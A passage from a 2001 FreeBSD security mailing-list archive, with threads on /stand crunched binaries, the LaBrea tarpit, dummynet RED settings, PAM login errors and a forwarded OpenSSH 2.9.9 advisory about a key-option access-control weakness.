-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 usbd*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 usbdevs*
-r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 zcat*



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 10:53:47 2001
Delivered-To: freebsd-security@freebsd.org
Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13])
	by hub.freebsd.org (Postfix) with ESMTP id B17D537B414
	for <freebsd-security@FreeBSD.ORG>; Wed, 26 Sep 2001 10:53:44 -0700 (PDT)
Received: from localhost (davidk@localhost)
	by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id f8QGnkI47927;
	Wed, 26 Sep 2001 09:49:46 -0700 (PDT)
Date: Wed, 26 Sep 2001 09:49:45 -0700 (PDT)
From: David Kirchner <davidk@accretivetg.com>
X-X-Sender:  <davidk@localhost>
To: Tom Beer <tom@analogon.com>
Cc: <freebsd-security@FreeBSD.ORG>
Subject: Re: hacked?
In-Reply-To: <010a01c146b2$b5372e60$0801a8c0@system>
Message-ID: <20010926094852.Q85958-100000@localhost>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Wed, 26 Sep 2001, Tom Beer wrote:

> Hi,
>
> I just have taken a look at my /stand directory
> and have absolutely no explanation what the -sh and the [
> file could be, and why are nearly all files have exact the same
> size, date and time.
>
> Any suggestions will be very welcome,
> thanks Tom

This is normal stuff. /stand is basically the programs used for
installation. If you run ls -il in there you'll see that the inodes are
the same for most of those files. They were created using something called
"crunch" (I forget the actual command).

- dpk


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 10:58:16 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns.raditex.se (mail.raditex.se [192.5.36.21])
	by hub.freebsd.org (Postfix) with ESMTP id 7B17837B409
	for <freebsd-security@FreeBSD.ORG>; Wed, 26 Sep 2001 10:58:08 -0700 (PDT)
Received: from gandalf.raditex.se (gandalf.raditex.se [192.5.36.18])
	by ns.raditex.se (8.9.3/8.9.3) with ESMTP id TAA85505;
	Wed, 26 Sep 2001 19:57:58 +0200 (CEST)
	(envelope-from gh@raditex.se)
Date: Wed, 26 Sep 2001 19:57:58 +0200 (CEST)
From: G Hasse <gh@raditex.se>
X-Sender: gh@gandalf.sickla.raditex.se
To: Tom Beer <tom@analogon.com>
Cc: freebsd-security@FreeBSD.ORG
Subject: Re: hacked?
In-Reply-To: <010f01c146b2$bb9965c0$0801a8c0@system>
Message-ID: <Pine.BSF.4.21.0109261956290.27369-100000@gandalf.sickla.raditex.se>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: 8BIT
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Wed, 26 Sep 2001, Tom Beer wrote:

> Hi,
> 
> I just have taken a look at my /stand directory
> and have absolutely no explanation what the -sh and the [
> file could be, and why are nearly all files have exact the same
> size, date and time.
> 
> Any suggestions will be very welcome,
> thanks Tom
> 
> ls /stand
> 
> total 55307
> -r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 -sh*
> drwxr-xr-x   4 root  wheel     1024 Aug  6 19:52 ./
> drwxr-xr-x  20 root  wheel      512 Sep 19 19:39 ../
> -r-xr-xr-x  32 root  wheel  1759284 Apr 22 01:44 [*

You are not hacked. The /stand/sysintall immage "contains" all other
programs and if you give an argument the image "behaves" in the
way a certain program does. This is a nice standard Unix way of
combining many programs into one. (Needed when the system
are installed).

GH

----------------------------------------------------------------
Göran Hasse            email: gh@raditex.se     Tel: +46 8 694 92 70
Raditex AB             http://www.raditex.se    Fax: +46 8 442 05 91
Sickla Alle 7, 1tr                              Mob: 070-5530148
131 34  NACKA, SWEDEN



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 11:58:31 2001
Delivered-To: freebsd-security@freebsd.org
Received: from lariat.org (lariat.org [12.23.109.2])
	by hub.freebsd.org (Postfix) with ESMTP id 04D2737B40F
	for <security@FreeBSD.ORG>; Wed, 26 Sep 2001 11:58:28 -0700 (PDT)
Received: from mustang.lariat.org (IDENT:ppp0.lariat.org@lariat.org [12.23.109.2])
	by lariat.org (8.9.3/8.9.3) with ESMTP id MAA01180;
	Wed, 26 Sep 2001 12:58:11 -0600 (MDT)
Message-Id: <4.3.2.7.2.20010926125205.047733b0@localhost>
X-Sender: brett@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 26 Sep 2001 12:57:58 -0600
To: Will Andrews <will@physics.purdue.edu>,
	FreeBSD Security <security@FreeBSD.ORG>
From: Brett Glass <brett@lariat.org>
Subject: Re: LaBrea for BSD?
In-Reply-To: <20010926072019.K69123@curie.physics.purdue.edu>
References: <4.3.2.7.2.20010925105333.04794430@localhost>
 <20010924162750.24311@shalmaneser.thelbane.com>
 <4.3.2.7.2.20010925105333.04794430@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

At 06:20 AM 9/26/2001, Will Andrews wrote:

>It would be MUCH better to stop using Windows

I do not use Windows for mission-critical applications. These 
days, I primarily use it as a GUI for BSD. I would prefer not
to use it even for that, but because KDE and GNOME are both GPLed, 
it is the best alternative. Perhaps MacOS 10.1 will change that.

>than to spout nonsense like this.

You're very wrong. The GPL is a great threat to standardization,
to consumer choice, and to the BSDs and their philosophy.

By using or developing GPLed software, you are supporting an agenda 
that is designed to hurt programmers and consumers for the sake of 
one man's petty vendetta. Do not do that. It is unethical and contrary 
to the philosophy of BSD.

--Brett Glass


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 12: 0:41 2001
Delivered-To: freebsd-security@freebsd.org
Received: from home.ephemeron.org (CBL137.pool019.CH001-riverside.dhcp.hs.earthlink.net [24.41.83.137])
	by hub.freebsd.org (Postfix) with ESMTP id 6F47437B413
	for <security@FreeBSD.ORG>; Wed, 26 Sep 2001 12:00:38 -0700 (PDT)
Received: from localhost (bigby@localhost)
	by home.ephemeron.org (8.9.3/8.9.3) with ESMTP id MAA81129;
	Wed, 26 Sep 2001 12:00:30 -0700 (PDT)
	(envelope-from bigby@ephemeron.org)
Date: Wed, 26 Sep 2001 12:00:30 -0700 (PDT)
From: Bigby Findrake <bigby@ephemeron.org>
To: Brett Glass <brett@lariat.org>
Cc: Will Andrews <will@physics.purdue.edu>,
	FreeBSD Security <security@FreeBSD.ORG>
Subject: Re: LaBrea for BSD?
In-Reply-To: <4.3.2.7.2.20010926125205.047733b0@localhost>
Message-ID: <Pine.BSF.4.33.0109261159560.79582-100000@home.ephemeron.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

This discussion is not relevant to security.

On Wed, 26 Sep 2001, Brett Glass wrote:

> At 06:20 AM 9/26/2001, Will Andrews wrote:
>
> >It would be MUCH better to stop using Windows
>
> I do not use Windows for mission-critical applications. These
> days, I primarily use it as a GUI for BSD. I would prefer not
> to use it even for that, but because KDE and GNOME are both GPLed,
> it is the best alternative. Perhaps MacOS 10.1 will change that.
>
> >than to spout nonsense like this.
>
> You're very wrong. The GPL is a great threat to standardization,
> to consumer choice, and to the BSDs and their philosophy.
>
> By using or developing GPLed software, you are supporting an agenda
> that is designed to hurt programmers and consumers for the sake of
> one man's petty vendetta. Do not do that. It is unethical and contrary
> to the philosophy of BSD.
>
> --Brett Glass
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 12: 0:49 2001
Delivered-To: freebsd-security@freebsd.org
Received: from lariat.org (lariat.org [12.23.109.2])
	by hub.freebsd.org (Postfix) with ESMTP id 03D9A37B426
	for <security@FreeBSD.ORG>; Wed, 26 Sep 2001 12:00:43 -0700 (PDT)
Received: from mustang.lariat.org (IDENT:ppp0.lariat.org@lariat.org [12.23.109.2])
	by lariat.org (8.9.3/8.9.3) with ESMTP id NAA01222;
	Wed, 26 Sep 2001 13:00:21 -0600 (MDT)
Message-Id: <4.3.2.7.2.20010926125837.04782100@localhost>
X-Sender: brett@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 26 Sep 2001 13:00:11 -0600
To: Laurent Fabre <fabre@matranet.com>,
	Will Andrews <will@physics.purdue.edu>
From: Brett Glass <brett@lariat.org>
Subject: Re: LaBrea for BSD?
Cc: FreeBSD Security <security@FreeBSD.ORG>
In-Reply-To: <200109261414.QAA28606@malraux.matranet.com>
References: <20010924162750.24311@shalmaneser.thelbane.com>
 <4.3.2.7.2.20010925105333.04794430@localhost>
 <200109261355.PAA27232@malraux.matranet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

At 08:18 AM 9/26/2001, Laurent Fabre wrote:

>I'm writing a new version of it because i think this little
>piece of code is a good idea but it also lacks features.
>I want to be able to emulate stacks behaviors on a OS basis
>and try to speed up a bit the capturing process.

What API are you using to get to the interface? I would think
that divert sockets would be best because they can selectively
route packets of interest out to userland for processing.

--Brett


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 13:26: 7 2001
Delivered-To: freebsd-security@freebsd.org
Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201])
	by hub.freebsd.org (Postfix) with ESMTP id 9951D37B438
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 13:26:00 -0700 (PDT)
Received: from sheldonh (helo=axl.seasidesoftware.co.za)
	by axl.seasidesoftware.co.za with local-esmtp (Exim 3.33 #1)
	id 15mLFb-000IyD-00; Wed, 26 Sep 2001 22:25:47 +0200
From: Sheldon Hearn <sheldonh@starjuice.net>
To: Joseph Gleason <clash@zogbe.tasam.com>
Cc: =?iso-8859-1?q?Adam=20Nealis?= <adamnealis@yahoo.co.uk>,
	freebsd-security@FreeBSD.ORG
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for "bursting"? 
In-reply-to: Your message of "Wed, 26 Sep 2001 13:24:48 -0400."
             <20010926132338.W19934-100000@zogbe.tasam.com> 
Date: Wed, 26 Sep 2001 22:25:47 +0200
Message-ID: <72924.1001535947@axl.seasidesoftware.co.za>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org



On Wed, 26 Sep 2001 13:24:48 -0400, Joseph Gleason wrote:

> man 4 dummynet

So, like, have you? :-)

Seriously, Adam and I are both fairly consciencious readers, and neither
of us can see how the RED / GRED configuration values are actually used.

Ciao,
Sheldon.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 14:20:27 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns1.infowest.com (ns1.infowest.com [204.17.177.10])
	by hub.freebsd.org (Postfix) with ESMTP id 8C5AA37B438
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 14:20:22 -0700 (PDT)
Received: from there (eq.net [208.186.104.163])
	by ns1.infowest.com (Postfix) with SMTP id D1F29215E6
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:19:33 -0600 (MDT)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Aaron D.Gifford <agifford@infowest.com>
To: freebsd-security@freebsd.org
Subject: Re: Using ipfw pipes for bandwidth management - can it allow for "bursting"?  
Date: Wed, 26 Sep 2001 15:19:30 -0600
X-Mailer: KMail [version 1.3]
Organization: InfoWest, Inc.
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20010926211933.D1F29215E6@ns1.infowest.com>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

RED is "Random Early Detection", an active queue management technique 
proposed by S. Floyd and V. Jacobson that can help alleviate certain 
types of problems associated with too much incoming traffic for a link 
(or in this case, a dummynet pipe).  GRED is "Gentle Early Random 
Detection", a modification Floyd later proposed.

An excellent article on Active Queue Management written by Kostas 
Pentikousis that includes some good stuff on RED can be found here:

  http://www.acm.org/crossroads/columns/connector/july2001.html

Aaron out.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 15: 7:16 2001
Delivered-To: freebsd-security@freebsd.org
Received: from sv07e.atm-tzs.kmjeuro.com (sv07e.atm-tzs.kmjeuro.com [193.81.94.207])
	by hub.freebsd.org (Postfix) with ESMTP id 697B737B41D
	for <security@freebsd.org>; Wed, 26 Sep 2001 15:07:10 -0700 (PDT)
Received: (from root@localhost)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) id f8QM78A87584
	for security@freebsd.org; Thu, 27 Sep 2001 00:07:08 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Received: from karl (99a5f3daa1b1702e6e46e6872e28fd48@adsl.ooe.kmjeuro.com [193.154.186.21])
	(authenticated)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) with ESMTP id f8QM6sv87180;
	Thu, 27 Sep 2001 00:06:54 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Message-ID: <006e01c146d7$fff4f0c0$0a05a8c0@ooe.kmjeuro.com>
From: "Karl M. Joch" <k.joch@kmjeuro.com>
To: "Laurent Fabre" <fabre@matranet.com>,
	"Will Andrews" <will@physics.purdue.edu>
Cc: "FreeBSD Security" <security@freebsd.org>
References: <20010924162750.24311@shalmaneser.thelbane.com> <4.3.2.7.2.20010925105333.04794430@localhost> <200109261355.PAA27232@malraux.matranet.com> <200109261414.QAA28606@malraux.matranet.com>
Subject: Re: LaBrea for BSD?
Date: Thu, 27 Sep 2001 00:09:58 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X--virus-scanner: scanned for Virus and dangerous attachments on sv07e.atm-tzs.kmjeuro.com (System Setup/Maintainance: http://www.ctseuro.com/)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

----- Original Message -----
From: "Laurent Fabre" <fabre@matranet.com>
To: "Will Andrews" <will@physics.purdue.edu>
Cc: "FreeBSD Security" <security@FreeBSD.ORG>
Sent: Wednesday, September 26, 2001 4:18 PM
Subject: Re: LaBrea for BSD?


> Will Andrews wrote:
> > On Tue, Sep 25, 2001 at 10:54:37AM -0600, Brett Glass (brett@lariat.org)
wrote:
> >
> >>It would be MUCH better to rewrite it rather than port it. The authors
> >>have stamped the GPL on it. The last thing we need (IMHO) is to
> >>spread one virus while attempting to catch another!
> >>
> >
> > It would be MUCH better to stop using Windows than to spout
> > nonsense like this.
> >
> >
>
> This discussion is off-topic.
>
> I'm writing a new version of it because i think this little
> piece of code is a good idea but it also lacks features.
> I want to be able to emulate stacks behaviors on a OS basis
> and try to speed up a bit the capturing process.
> If u got other things in mind let's discuss them.
>

if i would be able to rewrite this i would add one feature for systems only
having 1 IP from their provider. eg. i have lots of systems at customers on
a adsl or leased line base having 1 ip and running only ipfw/nat + maybe a
mail server or ssh. it would be great to have a file like the ExcludeFiles
in LaBrea to define ports which are to take care of. so if one tries to
access eg. 23,21,3128.... it should start working. this would give people
with only 1 ip the possibility to run it too. but that are just my 2 cents.

Karl


>
>
> --
> #--------------------------------------------#
> #              Laurent Fabre                 #
> #            fabre@matranet.com              #      /\    ASCII ribbon
> #          EADS, Matranet Product Group      #      \/      campaign
> #                                            #      /\     against
> # "foreach if-diff,                          #     /  \    HTML email
> #  you need to re-make world...."            #
> #--------------------------------------------#
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 15: 8:30 2001
Delivered-To: freebsd-security@freebsd.org
Received: from R181172.resnet.ucsb.edu (R181172.resnet.ucsb.edu [128.111.181.172])
	by hub.freebsd.org (Postfix) with ESMTP id F110937B431
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:08:27 -0700 (PDT)
Received: from localhost (mudman@localhost)
	by R181172.resnet.ucsb.edu (8.11.6/8.11.1) with ESMTP id f8QM9ne00300
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:09:50 -0700 (PDT)
	(envelope-from mudman@R181172.resnet.ucsb.edu)
Date: Wed, 26 Sep 2001 15:09:49 -0700 (PDT)
From: Dave <mudman@R181172.resnet.ucsb.edu>
To: <freebsd-security@freebsd.org>
Subject: pam sessions?? login modules??
Message-ID: <Pine.BSF.4.33.0109261502430.291-100000@R181172.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


Hi, I recently updated to 4.4 REL from (guess what) 4.3 REL =-)
Anyway, making world, kernel, and all that pretty much went ok.  But, for
some reason, I get some weird messages associated with logging in... is
this a danger?

[This is pretty much a local/console login, although I also get them when
connecting remotely]

FreeBSD/i386 (xyzhost.somewhere.com) (ttyv0)
login: anyaccount
Password:
Last login: Wed Sep 26 14:53:38 on ttyv0
Sep 26 14:55:39 xyzhost login: no modules loaded for `login' service
Sep 26 14:55:39 xyzhost login: no modules loaded for `login' service
Sep 26 14:55:39 xyzhost login: no modules loaded for `login' service
Sep 26 14:55:39 xyzhost login: pam_open_session: Permission denied
Sep 26 14:55:39 xyzhost login: pam_open_session: Permission denied
Sep 26 14:55:39 xyzhost login: pam_open_session: Permission denied
-----

I once heard that pam sessions were somehow associated with ssh, but why
do I get complaints about no modules being loaded for 'login' service?
Should I have modules loaded?  If so, what am I loading here?? :)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 15:14:41 2001
Delivered-To: freebsd-security@freebsd.org
Received: from titan.titan-project.org (titan.titan-project.org [64.81.251.146])
	by hub.freebsd.org (Postfix) with ESMTP id B740637B408
	for <freebsd-security@FreeBSD.ORG>; Wed, 26 Sep 2001 15:14:37 -0700 (PDT)
Received: from localhost (cshumway@localhost [127.0.0.1])
	by titan.titan-project.org (8.11.6/8.11.4) with ESMTP id f8QMEd512585;
	Wed, 26 Sep 2001 15:14:39 -0700 (PDT)
	(envelope-from cshumway@titan-project.org)
Date: Wed, 26 Sep 2001 15:14:39 -0700 (PDT)
From: Christopher Shumway <cshumway@titan-project.org>
To: Dave <mudman@R181172.resnet.ucsb.edu>
Cc: <freebsd-security@FreeBSD.ORG>
Subject: Re: pam sessions?? login modules??
In-Reply-To: <Pine.BSF.4.33.0109261502430.291-100000@R181172.resnet.ucsb.edu>
Message-ID: <20010926151323.M12463-100000@titan.titan-project.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Wed, 26 Sep 2001, Dave wrote:

> Hi, I recently updated to 4.4 REL from (guess what) 4.3 REL =-)
> Anyway, making world, kernel, and all that pretty much went ok.  But, for
> some reason, I get some weird messages associated with logging in... is
> this a danger?
>
> [This is pretty much a local/console login, although I also get them when
> connecting remotely]
>
> FreeBSD/i386 (xyzhost.somewhere.com) (ttyv0)
> login: anyaccount
> Password:
> Last login: Wed Sep 26 14:53:38 on ttyv0
> Sep 26 14:55:39 xyzhost login: no modules loaded for `login' service
> Sep 26 14:55:39 xyzhost login: no modules loaded for `login' service
> Sep 26 14:55:39 xyzhost login: no modules loaded for `login' service
> Sep 26 14:55:39 xyzhost login: pam_open_session: Permission denied
> Sep 26 14:55:39 xyzhost login: pam_open_session: Permission denied
> Sep 26 14:55:39 xyzhost login: pam_open_session: Permission denied
> -----
>
> I once heard that pam sessions were somehow associated with ssh, but why
> do I get complaints about no modules being loaded for 'login' service?
> Should I have modules loaded?  If so, what am I loading here?? :)

Did you remember to run mergemaster(8) after your update to make sure the
files in /etc/ are up to date?  Specifically you need this in /etc/pam.conf:

login   auth    sufficient      pam_skey.so
login   auth    requisite       pam_cleartext_pass_ok.so
login   auth    required        pam_unix.so                     try_first_pass
login   account required        pam_unix.so
login   password required       pam_permit.so
login   session required        pam_permit.so


---
Christopher Shumway				cshumway@titan-project.org
						cshumway@freebsd.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Wed Sep 26 15:27:17 2001
Delivered-To: freebsd-security@freebsd.org
Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44])
	by hub.freebsd.org (Postfix) with ESMTP id 857FC37B407
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:27:10 -0700 (PDT)
Received: (from daemon@localhost)
	by point.osg.gov.bc.ca (8.8.7/8.8.8) id PAA20184
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:27:10 -0700
Received: from passer.osg.gov.bc.ca(142.32.110.29)
 via SMTP by point.osg.gov.bc.ca, id smtpda20180; Wed Sep 26 15:27:01 2001
Received: (from uucp@localhost)
	by passer.osg.gov.bc.ca (8.11.6/8.9.1) id f8QMR1w21387
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:27:01 -0700 (PDT)
Received: from UNKNOWN(10.1.2.1), claiming to be "cwsys.cwsent.com"
 via SMTP by passer9.cwsent.com, id smtpdo21383; Wed Sep 26 15:26:26 2001
Received: (from smtpd@localhost)
	by cwsys.cwsent.com (8.11.6/8.9.1) id f8QMQ6133331
	for <freebsd-security@freebsd.org>; Wed, 26 Sep 2001 15:26:06 -0700 (PDT)
Message-Id: <200109262226.f8QMQ6133331@cwsys.cwsent.com>
X-Authentication-Warning: cwsys.cwsent.com: smtpd set sender to <cy@cwsys> using -f
Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys"
 via SMTP by localhost.cwsent.com, id smtpdx33323; Wed Sep 26 15:25:09 2001
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
Reply-To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
From: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
X-Sender: schubert
To: freebsd-security@freebsd.org
Subject: OpenSSH 2.9.9 (fwd)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 26 Sep 2001 15:25:09 -0700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

A new OpenSSH has been released.  I will forward the advisory in a 
separate note.


Regards,                         Phone:  (250)387-8437
Cy Schubert                        Fax:  (250)387-5766
Team Leader, Sun/Alpha Team   Internet:  Cy.Schubert@osg.gov.bc.ca
Open Systems Group, ITSD
Ministry of Management Services
Province of BC            


------- Forwarded Message

[headers removed]
Date: Wed, 26 Sep 2001 23:05:19 +0200
From: Markus Friedl <markus@openbsd.org>
To: announce@openbsd.org
Subject: OpenSSH 2.9.9
Message-ID: <20010926230519.A4478@folly>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Sender: owner-announce@openbsd.org
Precedence: bulk
X-Loop: announce@openbsd.org

OpenSSH 2.9.9 has just been uploaded. It will be available from the
mirrors listed at http://www.openssh.com/ shortly.

OpenSSH 2.9.9 fixes a weakness in the key file option handling,
including source IP based access control.

OpenSSH is a 100% complete SSH protocol version 1.3, 1.5 and 2.0
implementation and includes sftp client and server support.

This release contains many portability bug-fixes (listed in the
ChangeLog) as well as several new features (listed below).

We would like to thank the OpenSSH community for their continued
support and encouragement.

Security Notes:
===============

This release fixes weakness in the source IP based access control
for SSH protocol v2 public key authentication:

        Versions of OpenSSH between 2.5 and 2.9.9 are
        affected if they use the 'from=' key file option in
        combination with both RSA and DSA keys in
        ~/.ssh/authorized_keys2.

        Depending on the order of the user keys in
        ~/.ssh/authorized_keys2 sshd might fail to apply the
        source IP based access control restriction (e.g.
        from="10.0.0.1") to the correct key:

        If a source IP restricted key (e.g. DSA key) is
        immediately followed by a key of a different type
        (e.g. RSA key), then key options for the second key
        are applied to both keys, which includes 'from='.

	This means that users can circumvent the system policy
	and login from disallowed source IP addresses.
	

Important Changes:
==================

OpenSSH 2.9.9 might have upgrade issues introduced by the long time
between releases, which may affect people in unforseen ways:

1) The files
	/etc/ssh_known_hosts2
	~/.ssh/known_hosts2
	~/.ssh/authorized_keys2
   are now obsolete, you can use
	/etc/ssh_known_hosts
